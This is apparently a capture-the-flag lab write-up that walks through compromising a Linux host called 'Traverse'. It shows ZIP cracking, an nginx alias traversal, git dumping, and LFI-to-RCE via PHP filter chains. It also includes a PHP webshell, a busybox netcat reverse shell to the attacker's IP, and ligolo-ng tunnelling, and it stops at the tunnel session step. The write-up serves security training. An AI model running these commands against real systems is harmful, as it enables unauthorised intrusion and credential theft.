> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/traverse.md).

# Traverse

Challenge Lab (Medium) - by xjr

{% embed url="<https://www.hacksmarter.org/courses/628be350-4a18-47f9-a378-c1029e181886>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You’ve been brought in to conduct an internal penetration test targeting a highly sensitive Linux server. To demonstrate the real-world business impact of a breach, the client has hidden two flags on the system. Your objective: compromise the server and extract both flags.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with VPN access to their environment, but no other information.

## Summary

<details>

<summary>Summary</summary>

In Traverse, we begin by discovering an FTP server with anonymous access, SSH, and an nginx web server redirecting to `traverse.hsm`. The FTP service exposes a password-protected ZIP file in a `devops` directory, which is cracked using `john` and `rockyou.txt`, revealing an nginx configuration and a note referencing a repository at `/opt/app`. The configuration discloses a classic nginx alias traversal vulnerability in the `/assets` location block - missing a trailing slash - allowing access to files outside the intended static directory. Exploiting this misconfiguration with `feroxbuster` uncovers a `.git` repository, which is dumped using `gitdumper`. Inspecting the full commit history reveals credentials for the user `spencer` and a hidden virtual host, `docs-0eoyfsyajxs.traverse.hsm`.

Authenticating to the docs portal with Spencer's credentials exposes a `page` parameter susceptible to Local File Inclusion. While direct inclusion of sensitive files is blocked and the vulnerability appears restricted to `.php` extensions, PHP filter chains are used to achieve remote code execution, spawning a reverse shell as `traverse-docs`. From there, switching to `spencer` via `su` with the previously discovered password succeeds despite an internal security policy prohibiting credential reuse, yielding the user flag.

Privilege escalation begins with a note in Spencer's home directory pointing to a Docker container on the `172.20.0.0/24` network, which we reache via a `ligolo-ng` tunnel. The host's LDAP service on port `389`, enumerated anonymously, reveals SSHA password hashes for `spencer` and `webadmin`, with `webadmin`'s hash cracked using `hashcat`. Logging into the container's management dashboard on port 8080 as `webadmin` provides an LDAP connection test feature that triggers an authenticated bind as `admin`. During host enumeration, `linpeas` reveals that `tcpdump` has the `cap_net_raw` capability set, allowing any user to capture network traffic. Leveraging this, we sniff port `389` while triggering an LDAP connection test from the dashboard, capturing the `admin` bind credentials in cleartext. These credentials grant SSH access to the container, where `sudo` is unrestricted. As root inside the container, a bind-mounted shared directory between `/mnt/share` (container) and `/var/share` (host) is exploited by copying a SUID root bash binary from the container onto the share, which the host kernel honors without `nosuid` restrictions gaining us full root access and the final flag.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.128.226 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.128.226 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqBcmipoVwRGpTxKqgOkE%2Fgrafik.png?alt=media&amp;token=3971a9f8-3867-45c6-b0f5-af06f5101b2a" alt=""><figcaption></figcaption></figure>

The target machine `10.1.128.226` is a Linux host resolving to `traverse.hsm`, with remote access available via SSH on port `22` (OpenSSH `9.6p1`). An FTP server runs on port `21` (vsftpd `3.0.5`) with anonymous login enabled, exposing a `devops` directory and an image file. A web server is running on port `80` (nginx `1.24.0`) which redirects to `http://traverse.hsm/`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fl4prbJqa1Rc84wcy64DN%2Fgrafik.png?alt=media&amp;token=69bf6b96-5d3a-4456-adeb-325e62a8cae4" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.128.226 traverse.hsm
```

{% endcode %}

### FTP

First, we'll use the FTP service available, connect to it, and log in anonymously - maybe there are some senstive files for us available -  In the `devops` folder, we find a ZIP file. We download it.

{% code overflow="wrap" expandable="true" %}

```
ftp traverse.hsm
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZnQJNVinknVfK5z0dukt%2Fgrafik.png?alt=media&amp;token=a5c6ca58-5160-4301-887d-fe83cdcafc39" alt=""><figcaption></figcaption></figure>

The zip file is password protected...

{% code overflow="wrap" expandable="true" %}

```
unzip content.zip
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fktrw3PpbE6r3x6GzKdht%2Fgrafik.png?alt=media&amp;token=1edb1cd1-ac8e-4f58-9448-5be9f1e919b8" alt=""><figcaption></figcaption></figure>

To crack the password, we generate a hash using zip2john.

{% code overflow="wrap" expandable="true" %}

```
zip2john content.zip > content.hash
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDIhoFI9pHBU6I9eEJxSf%2Fgrafik.png?alt=media&amp;token=f883408f-27f0-4a7c-8f59-f301b335ed61" alt=""><figcaption></figcaption></figure>

Using john and the `rockyou.txt` file, along with the resulting hash, we are able to crack the password for the zip file.

{% code overflow="wrap" expandable="true" %}

```
john --wordlist=/usr/share/wordlists/rockyou.txt content.hash
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFUZ5zUegFkjtK1vhn3yj%2Fgrafik.png?alt=media&amp;token=1517c75e-e690-4274-84ef-c182aaeaf513" alt=""><figcaption></figcaption></figure>

We unzip the file and find a configuration file and a message.

{% code overflow="wrap" expandable="true" %}

```
unzip content.zip
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgUnjWdaNNitmxBayMpx0%2Fgrafik.png?alt=media&amp;token=037b9cea-dd23-4c6d-a34f-885a657470a3" alt=""><figcaption></figcaption></figure>

The message indicates that a repository has apparently been created in `/opt/app`. We may have a `.git` folder available through the web service.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fg8oxic5agZNkQQdnSYZ9%2Fgrafik.png?alt=media&amp;token=39b4d6b5-1d95-4d38-9881-e999ddb7aa6d" alt=""><figcaption></figcaption></figure>

The config is also very interesting.

This looks like an nginx config that redirects all traffic to `traverse.hsm` and reverse-proxies requests to a backend application running on `localhost:8000`, while serving static assets directly from `/opt/app/static/`.&#x20;

The `location /assets` section uses `alias` without a trailing slash on the location path, which is a classic nginx alias traversal vulnerability. By requesting something like `/assets../` we might access files outside `/opt/app/static/`, potentially reaching out to `/opt/app/` to read for example the `.env` file or other sensitive information.

{% embed url="<https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnmCMKOEKX7Pim2b1GzRA%2Fgrafik.png?alt=media&amp;token=39c4bead-e17c-4bd3-8fe4-d31383b505dc" alt=""><figcaption></figcaption></figure>

{% code title="traverse.conf" overflow="wrap" expandable="true" %}

```
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    server_name _;
    return 301 http://traverse.hsm$request_uri;
}

server {
    listen 80;
    listen [::]:80;
    server_name traverse.hsm;

    root /var/www/html;
    index index.html;

    location / {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }

    location /assets {
        alias /opt/app/static/;
    }
}
```

{% endcode %}

### WEB

We'll now move on to the web service. Even though we have a host, we are unable to list additional virtual hosts.We're performing a directory scan using `common.txt`. Among other things, this file includes an entry for `.git`, but we can't find the mentioned repository using a direct directory scan. In addition, we find a `/deploy/` directory

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://traverse.hsm/' 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSm3k1HBX2dBnrbLEMD4j%2Fgrafik.png?alt=media&amp;token=a7ca380f-9be4-46da-97b9-56b8874412b1" alt=""><figcaption></figcaption></figure>

We will now continue to enumerate the page manually. For now, it seems to be very static page.

{% code overflow="wrap" expandable="true" %}

```
http://traverse.hsm/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fyu3PaOaFHmFJr16H19MQ%2Fgrafik.png?alt=media&amp;token=b8481fc3-8346-4ca4-b624-5eeb70cc0039" alt=""><figcaption></figcaption></figure>

We find a contact form, but we don't see any requests being made. Otherwise, this would have been a potential entry point via blind XSS to obtain session cookies.

{% code overflow="wrap" expandable="true" %}

```
http://traverse.hsm/#contact
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwVadtpwSsVodizbJBzaa%2Fgrafik.png?alt=media&amp;token=173c2a3b-6a4a-4e31-a052-9d8b103e4520" alt=""><figcaption></figcaption></figure>

We try to visist the `deploy` directory, but receive a `403`.

{% code overflow="wrap" expandable="true" %}

```
http://traverse.hsm/deploy/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQKHofax2ZmEhIj0T8xQJ%2Fgrafik.png?alt=media&amp;token=54828374-89d1-43fa-8dd7-89d23746dd1f" alt=""><figcaption></figcaption></figure>

We recall the config file in the zip file available on the FTP server. We then attempt another directory scan using the identified path-traversal approach to detect any additional directories and hidden files that may have been filtered out.

{% code overflow="wrap" expandable="true" %}

```
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    server_name _;
    return 301 http://traverse.hsm$request_uri;
}

server {
    listen 80;
    listen [::]:80;
    server_name traverse.hsm;

    root /var/www/html;
    index index.html;

    location / {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }

    location /assets {
        alias /opt/app/static/;
    }
}
```

{% endcode %}

{% embed url="<https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/>" %}

However, we could have find this misconfiguration even without the hint from the zip file, using, for example, Nuclei.

{% code overflow="wrap" expandable="true" %}

```
nuclei -u http://traverse.hsm
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPvFF39ZVmSYCtkiWP7g6%2Fgrafik.png?alt=media&amp;token=8d6bdde2-fb20-4353-8ee5-850aef463b97" alt=""><figcaption></figcaption></figure>

And we do find now a `.git` repository folder.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://traverse.hsm/assets../
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvPvutb04NyVYfokRZkwQ%2Fgrafik.png?alt=media&amp;token=5296a263-4097-4660-9ab3-c143a08f9509" alt=""><figcaption></figcaption></figure>

We dump the repository with the gitdumper.

{% code overflow="wrap" expandable="true" %}

```
gitdumper.sh http://traverse.hsm/assets../.git/ ./git-dump
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVvaYipD4qLVNkPkJpYeN%2Fgrafik.png?alt=media&amp;token=9b438f07-9762-44df-a2b9-6a749a7515a6" alt=""><figcaption></figcaption></figure>

## Access as spencer

Next, we inspect the logs and find an intersing commit. The environment credentials have been moved to deployment.

{% code overflow="wrap" expandable="true" %}

```
git --no-pager log
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fn6EOOAM9ha6oU1mm745w%2Fgrafik.png?alt=media&amp;token=2b90ef46-2815-4ad1-9059-f67cea05b1e1" alt=""><figcaption></figcaption></figure>

We inspect the full commit history across all branches with complete diffs and do find the credentials of the user `spencer`. We try those to get a session via SSH but are unsuccessful. Furthermore we find another VHOST - see `DOCS_BASE=http://docs-0eoyfsyajxs.traverse.hsm`.

{% code overflow="wrap" expandable="true" %}

```
git --no-pager log -p --all
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPama9zGLVTr5qwzdmlHb%2Fgrafik.png?alt=media&amp;token=0d1eff60-b122-4f27-85fe-5b93ab542cc0" alt=""><figcaption></figcaption></figure>

We adapt now the following entry of our `/etc/hosts` file as follows:

{% code overflow="wrap" expandable="true" %}

```
10.1.128.226 traverse.hsm docs-0eoyfsyajxs.traverse.hsm
```

{% endcode %}

We visit the newly identified endpoint and are redirected to a login page. We immediately enter the credentials we found earlier...

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/login.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5Y19W1t15tZHDgIRSxHW%2Fgrafik.png?alt=media&amp;token=b9c3b303-1837-4210-b499-c0c8ae6d2a15" alt=""><figcaption></figcaption></figure>

... and we are able to log in. We have now access to the Employee operation workspace containing some documentary.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOyCE59UeLcQDVhay3eM4%2Fgrafik.png?alt=media&amp;token=292e4b29-c3ca-4c08-8858-c517c78511cc" alt=""><figcaption></figcaption></figure>

## Shell as traverse-docs

The security baseline specifies that accounts must be strictly separated and that password reuse across systems and applications is not supported. We'll put that to the test later. At least we weren't able to log in via SSH earlier. But that wont stop us from continuing testing.

Another thing we noticed is that the pages are included using a page parameter as follows: `page=pages/security.php`. This is a strong indicator of a possible file inclusion.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?page=pages/security.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrOJVJ2xfHzJxsxuu5MYZ%2Fgrafik.png?alt=media&amp;token=5e5dc18f-7125-4350-960e-2cf89fbe597a" alt=""><figcaption></figcaption></figure>

Fuzzing using the Jason Haddix wordlist didn't yield any significant results at first. However, we'll take another look at it manually. We see we are able traverse back and forth. An LFI is certainly possible.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?page=pages/../pages/security.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FozUd2sn5kYWe7kw6yhAU%2Fgrafik.png?alt=media&amp;token=b0bb5251-dc3f-4907-8ab8-3f4e909fc1ef" alt=""><figcaption></figcaption></figure>

However, we cannot include files such as `.env` or `/etc/passwd`. We get an error message when we try to do so.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?page=pages/../.env/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fnm8BvuiFiquFlR7wv8ZD%2Fgrafik.png?alt=media&amp;token=50a8a0d8-1ec5-4f87-bf3c-f1afd5dde4e0" alt=""><figcaption></figcaption></figure>

However, we can use filters. This would allows us to read the page sources. But since we can also use filters, let's try applying PHP filter chains, which would allow us to achieve remote code execution via the LFI.

{% embed url="<https://hacktricks.wiki/en/pentesting-web/file-inclusion/lfi2rce-via-php-filters.html>" %}

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?page=php://filter/convert.base64-encode/resource=pages/../pages/security.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQsRUJXTP7thJanveBA3a%2Fgrafik.png?alt=media&amp;token=2e48dc36-036a-4234-b667-6a8befb58b8b" alt=""><figcaption></figcaption></figure>

We use the following project to create the phpinfo page as a PoC to show remote code execution by exploiting LFI2RCE via PHP filters.

{% embed url="<https://github.com/synacktiv/php_filter_chain_generator>" %}

{% code overflow="wrap" expandable="true" %}

```
python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlY0BifQKQaATlolZjs5B%2Fgrafik.png?alt=media&amp;token=877c5081-c776-4665-9cbc-2f39a4d7d9e5" alt=""><figcaption></figcaption></figure>

We include the payload, but again, we receive errors like we already received by including `.env` or `/etc/passwd`.&#x20;

The following code block does not display the entire payload. The same applies to the following code blocks, as they are too long.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?page=php://filter/convert.iconv.UTF8...
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHWXj5eVDbo7lTxFtCser%2Fgrafik.png?alt=media&amp;token=a6c4edcb-6ccb-4f35-a38c-1f89cd56bfdc" alt=""><figcaption></figcaption></figure>

The inclusion may be limited to `.php` files. We'll adapt the resulting payload and append a `.php` extension to it. And we are able to execute code through PHP filter chains.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?page=php://filter/convert.iconv.UTF8...convert.base64-decode/resource=php://temp.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9mgABPLsN0mgG5fMzRHL%2Fgrafik.png?alt=media&amp;token=e56c2d3e-4739-49af-a599-0d0b07fdb9cc" alt=""><figcaption></figcaption></figure>

We're now using the project again to create a very small webshell, which we obtained from `revshells.com`.

{% code overflow="wrap" expandable="true" %}

```
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaASgC2RPhKicvNnQ0EgV%2Fgrafik.png?alt=media&amp;token=3c3a43aa-7529-4cc6-8ef0-37486c572908" alt=""><figcaption></figcaption></figure>

We issue the `id` command directly in the URL as follows `?0=id&page=php://filter/` and are able to identify the user running the web service, we are `traverse-docs`.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?0=id&page=php://filter/convert.iconv.UTF8...convert.base64-decode/resource=php://temp.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fw6W1bFSHnXRAEtLVTF0y%2Fgrafik.png?alt=media&amp;token=ef8b2c59-d696-4599-9c79-20456d2eeb54" alt=""><figcaption></figcaption></figure>

Now that we can use the webshell to execute commands on the system, we want to set up a reverse shell. First, we'll set up a listener using Penelope.

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445  
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJksUG914B36C6ddfnAgt%2Fgrafik.png?alt=media&amp;token=64b07927-21f3-472c-8dd3-686aaa1e17c8" alt=""><figcaption></figcaption></figure>

Next, we'll spawn a reverse shell using BusyBox. We receive a connection and are the user `traverse-docs`.

{% code overflow="wrap" expandable="true" %}

```
http://docs-0eoyfsyajxs.traverse.hsm/?0=busybox nc 10.200.98.51 4445 -e /bin/bash&page=php://filter/convert.iconv.UTF8...convert.base64-decode/resource=php://temp.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWHdRvQ7zBfqWQxthAZmC%2Fgrafik.png?alt=media&amp;token=4e04395a-00ee-4365-a6bb-2589c5db30d4" alt=""><figcaption></figcaption></figure>

## Shell as spencer

On the system, we see from the `/etc/passwd` file that there is also a user named `spencer`. Even though we can't connect via SSH, we still try to switch to that user using the `su` command and the password we found in the Git history, and we are able to successfully switch to `spencer`. It appears that the policy was not followed...

We find the user flag in `/home/spencer/user.txt`.

{% code overflow="wrap" expandable="true" %}

```
su spencer
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fv12h5TaXQ2hIRdQkUm0A%2Fgrafik.png?alt=media&amp;token=e841cccd-9ebc-4f3a-aee2-a1a16118ad59" alt=""><figcaption></figcaption></figure>

## Access as <webadmin@traverse.hsm>

### Host Enumeration

In `spencer`'s home directory, we also find a note indicating that a Docker container is apparently running in the management dashboard on the `172.20.0.0/24` network. It does not appear to be in production yet.

{% code overflow="wrap" expandable="true" %}

```
cat /home/spencer/notes.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHgGIl1rXFofEZkIlM0HM%2Fgrafik.png?alt=media&amp;token=60d5a08c-632a-4478-b547-8b52ef98d6cc" alt=""><figcaption></figcaption></figure>

Unfortunatley our user is not in `docker` group. We have access to the docker binary...

{% code overflow="wrap" expandable="true" %}

```
docker
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4eCe8STMC6vcEFLzMG3C%2Fgrafik.png?alt=media&amp;token=8c65d6b1-c519-47df-8f7e-f75cafca4296" alt=""><figcaption></figcaption></figure>

... but cannot inspect the containers running.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFv6kLM11s0kl2biseJbn%2Fgrafik.png?alt=media&amp;token=a77c30fb-f061-4528-b75c-ae1e39be66b8" alt=""><figcaption></figcaption></figure>

Before we dive into the container, we also perform a comprehensive enumeration using Linpeas and find a few interesting findings.

{% code overflow="wrap" expandable="true" %}

```
./linpeas.sh
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOV81JDxcuYlvyFOI4686%2Fgrafik.png?alt=media&amp;token=98540eb4-d4e7-4344-b440-95ae91143fe0" alt=""><figcaption></figcaption></figure>

We can see that it's listening on port `389`, which corresponds to LDAP. It's also interesting that it's listening on `0.0.0.0`, but we didn't see that in our nmap scan. It appears that firewall rules are active; perhaps this is only for internal use and a Docker container is using this.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyE53oWtSHN4FJbE5bDuz%2Fgrafik.png?alt=media&amp;token=47c72f5f-5ff7-44f5-82f9-fbd294ff9b36" alt=""><figcaption></figcaption></figure>

Furthermore, it is noticeable that the `tcpdump` binary has some intersting capabilities set.&#x20;

It has the `cap_net_raw` set, which lets any user capture network traffic without being root, so it would allows us sniff any traffic that goes through the machine.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFy7ACFKYC2OztNKuIYrx%2Fgrafik.png?alt=media&amp;token=6ff2805e-ff65-41c9-b925-2020e452b93a" alt=""><figcaption></figcaption></figure>

We will now continue with the Docker enumeration. We know that there are likely one or more instances on the `172.20.0.0/24` network. We use a small ping sweep script to identify running hosts and find a container at `172.20.0.10`.

{% code overflow="wrap" expandable="true" %}

```python
cat << 'EOF' > sweep.py
import subprocess, threading

def ping(ip):
    if subprocess.run(["ping","-c","1","-W","1",ip],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL).returncode==0:
        print(f"{ip} is up")

threads=[threading.Thread(target=ping,args=(f"172.20.0.{i}",)) for i in range(1,255)]
for t in threads: t.start()
for t in threads: t.join()
EOF
python3 sweep.py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FG3vLrn51XVapR48WNBO1%2Fgrafik.png?alt=media&amp;token=c37cf939-0d1b-44c0-88f4-c5729c5f3e62" alt=""><figcaption></figcaption></figure>

### Ligolo-ng setup <a href="#ligolo-ng-setup" id="ligolo-ng-setup"></a>

For the subsequent phases, we use ligolo to relay traffic between the target machine and our attacker machine to make the internal reachable networks of the target machine accessible to our attacker machine. Especially to reach out to the docker container and be also able to enumerate the LDAP service running on port `389`.

> **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

On our attack machine, we start the proxy server.

{% code overflow="wrap" expandable="true" %}

```
sudo ./proxy -selfcert
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwvJoUf2x5Vdqd0vXfMm9%2Fgrafik.png?alt=media&amp;token=954e7ab3-6d71-49bb-aea6-e39d368b14e8" alt=""><figcaption></figcaption></figure>

Inside that proxy we create an interface called `traverse` and set up the routes. We add the routes for `240.0.0.1/32` as a virtual listener IP and `172.20.0.0/24` to reach the internal network through the compromised host.

{% code overflow="wrap" expandable="true" %}

```
ifcreate --name traverse
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
route_add --name traverse --route 240.0.0.1/32
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
route_add --name traverse --route 172.20.0.0/24
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGFRELv8JHvcX9ZTX7h38%2Fgrafik.png?alt=media&amp;token=fe8ab2e6-1e10-418c-9f07-d53f328be6b7" alt=""><figcaption></figcaption></figure>

Next, we get the agent to the target machine and connect to our proxy.

{% code overflow="wrap" expandable="true" %}

```
./agent -connect 10.200.98.51:11601 --ignore-cert
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8Nu6d2d40QA0VpasFaOv%2Fgrafik.png?alt=media&amp;token=325f0964-4245-4e75-93b7-2118dcc72b0f" alt=""><figcaption></figcaption></figure>

After the connection has been made we should see in our proxy that an agent has joined.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5XpIDkubUy8tW1gf3Ooe%2Fgrafik.png?alt=media&amp;token=80bc61c5-9125-4751-8bc1-d5c900dca9e0" alt=""><figcaption></figcaption></figure>

We can list and interact with the session by calling `session` and then chosing the session.&#x20;

